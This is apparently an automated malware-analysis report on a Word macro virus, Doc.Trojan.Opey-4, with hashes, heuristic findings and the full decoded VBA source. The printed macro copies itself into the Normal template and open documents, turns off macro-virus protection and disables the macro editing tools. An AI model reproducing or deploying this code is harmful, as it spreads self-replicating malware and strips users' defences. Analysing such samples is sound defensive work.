Doc.Trojan.Opey-4 — Office (OLE) malware analysis

Static analysis result for SHA-256 1dc5110e59f6c48a…

MALICIOUS

Office (OLE)

60.5 KB Created: 2000-10-12 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-19
MD5: 24e576246e0c38ea1c3113e6fb48ff00 SHA-1: 1ca44ac203f9afe6bf1f1542a74b75540258ce86 SHA-256: 1dc5110e59f6c48a1dedb3d3f665313fe03ed189dadc6e203f4c9604a40e41bc
216 Risk Score

Malware Insights

Doc.Trojan.Opey-4 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Installation

The sample is a malicious Word document containing VBA macros. The 'OLE_VBA_MACRO_VIRUS_REPLICATION' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics indicate that the macro attempts to replicate itself across documents and disable macro security. The 'Doc.Trojan.Opey-4' ClamAV signature further supports its malicious nature. The macro's intent is to spread itself and potentially disable security measures, as evidenced by the replication logic and the use of the 'Shell' command.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4023 bytes
SHA-256: ca66cb59f32870848ebcd08545223ffb2df067d27241125df8f495da6da78ca9
Detection
ClamAV: Doc.Trojan.Opey-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "A_OPEY_03"
Sub OnlyYou()
  On Error Resume Next
    Call A_OPEY_03
    NTInfected = False
        For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(i).Name
                If clan = "A_OPEY_03" Then NTInfected = True
                If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
        Next i
        For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For j = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(j).Name
                    If clan = "A_OPEY_03" Then ODInfected = True
                    If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
                Next j
                If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If
End Sub
Sub A_OPEY_03()
    On Error Resume Next
    Application.UserName = "OPEY A."
    Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
    Application.UserInitials = "LOVE"
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "OPEY A."
        .Title = "LOVE"
        .Execute
    End With
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    On Error Resume Next
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    CommandBars("Tools").Controls("Macro").Delete
    CommandBars("Tools").Controls("Customize...").Delete
    CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub AutoExec()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call OnlyYou
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call OnlyYou
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call OnlyYou
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileClose()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call OnlyYou
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub AutoClose()
    On Error Resume Next
    Call OnlyYou
    ActiveDocument.Close
End Sub
Sub AutoExit()
    On Error Resume Next
    Call OnlyYou
    Application.Quit
End Sub

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